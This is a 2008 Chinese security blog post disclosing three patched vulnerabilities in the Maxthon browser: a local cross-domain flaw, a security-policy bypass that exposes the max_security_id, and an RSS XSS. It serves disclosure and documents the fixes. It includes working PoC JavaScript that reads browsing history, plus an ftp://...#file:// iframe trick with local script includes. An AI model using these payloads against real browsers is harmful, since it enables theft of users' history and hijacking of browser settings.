遨游修复的几个安全漏洞

    [晴 July 1, 2008 13:40 | by !4p47hy ]
在80sec通知遨游存在的安全漏洞之后,遨游于6.30号发布了新版的浏览器,修复了前面提到的安全漏洞,具体更新可以见http://blog.maxthon.cn/,此次更新修复了三个安全问题,主要的问题细节如下:

漏洞来源:http://www.80sec.com/release/maxthon-vulns-poc.txt

1、浏览器内核漏洞导致的本地跨域漏洞

漏洞说明:maxthon采用了系统的IE内核,但是该内核可能存在一些安全漏洞导致跨域攻击,而遨游的max:等的域是在本地等同于file://,所以这个跨域攻击将导致在本地上下文中执行javascript代码,这里只给出取得遨游浏览历史记录的POC。

漏洞POC:

<a href="">Maxthon Exploit</a>
<script>
function win(){
x=window.open("max:history");
setTimeout(function(){
x.location=new String("javascript:x=maxHistory.history.list.site.loadData();for(i=0;i<x.length;i++) document.write(x[i].site+\”<br>\”);”)
},3000)
}
window.onload=function(){
for (i=0;i<document.links.length;i++) {
document.links[i].href=”javascript:win()”
}
}
</script>


漏洞修复:在IE内核修复之前,遨游新版本已经修复这个安全漏洞

2、遨游安全中心漏洞导致的远程修改任意用户设置

漏洞说明:遨游对IE内核的一些特性并不是十分了解,导致在处理一些特殊情况时出现安全漏洞。遨游的控制中心实际上就是一组HTML+JAVASCRIPT,通过这些页面可以读取敏感数据,修改浏览器设置,下载文件等等。当然,遨游也有自己的安全策略,将那些HTML文件放到外部站点上并不能直接调用,因为遨游有一个安全控制策略,security.src,这个文件代码如下:
var max_security_id=''; var url=String(document.location).toLowerCase(); if(url.indexOf('file://')>-1&&url.indexOf('http://')==-1&&url.indexOf('https://')==-1){ max_security_id='{B73B3AC9-B009-4429-AE67-514332D791FE}'; }else{ document.location='about:blank'; }

其中max_security_id是遨游在调用各种控件时必须的一个参数,这个参数在各个功能里是必须的,各个机器的max_security_id并不相同。如果我们能取得这个max_security_id那么就可以在远程任意站点调用遨游的各种功能譬如设置,读取敏感数据甚至是远程代码执行了。

首先,这个max_security_id每次启动貌似都会更改,这个max_security_id会存储在安装目录的template/security.src里,而我们可以在自己的站点页面里做如下调用:
<script src="E:\Program Files\Maxthon2\template\security.src"></script>
<script src="d:\Program Files\Maxthon2\template\security.src"></script>
<script src="c:\Program Files\Maxthon2\template\security.src"></script>

别意外,遨游是允许做这样调用本地文件的:),但是security.src也是有限制的,只有当location里包含file:///并且不包含http://和https:///的时候才会赋值,否则会跳转。这里遨游有个错误就是黑名单策略导致可以使用譬如ftp://的协议饶过,至于想包含file://也很简单:
ftp://www.foo.com/exploit.html#file://80sec.com

这样一个地址实际访问的是exploit.html,但是location却包含file://,安全策略被饶过,可以取得max_security_id,然后利用取得的max_security_id可以做一切操作。

漏洞POC:

搭建一个匿名ftp服务器www.foo.com,然后在恶意站点做如下引用:
<iframe src="ftp://www.foo.com/history/index.htm#file:///www.80sec.com" width=100% height=100%>

/history/index.htm为放在www.foo.com上的精心构造的exploit,最简单的方式就是将官方安装目录里的template里的history等子目录下面的index.html里的
<script type="text/javascript" src="../security.src"></script>

换成
<script src="E:\Program Files\Maxthon2\template\security.src"></script>
<script src="d:\Program Files\Maxthon2\template\security.src"></script>
<script src="c:\Program Files\Maxthon2\template\security.src"></script>

通过修改里面的index.htm内容就可以修改浏览器设置,读取历史记录等等

漏洞修复:新版本将代码修正为
var max_security_id=''; if(String(window.document.location).toLowerCase().indexOf('file://')==0){ max_security_id='{02E14D94-53C8-4B6D-89AE-755DC5299C6C}'; }else{ document.location='about:blank'; }

限定只能本地文件能引用这个js,修复了这个问题。

3、RSS订阅跨站脚本漏洞

漏洞说明:遨游在实现rss功能时存在问题,导致在访问有问题的页面时会出现xss漏洞

漏洞POC:订阅http://www.80sec.com/feed就可以看到效果:)

漏洞修复:新版本已经修复

Maxthon对待漏洞的态度非常严谨,希望Maxthon用户尽快升级到新版.
Bug&Exp | Comments(0) | Trackbacks(0) | Reads(6644)
Add a comment
Emots
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
Enable HTML
Enable UBB
Enable Emots
Hidden
Nickname   Password   Optional
Site URI   Email   [Register]
               

Security code Case insensitive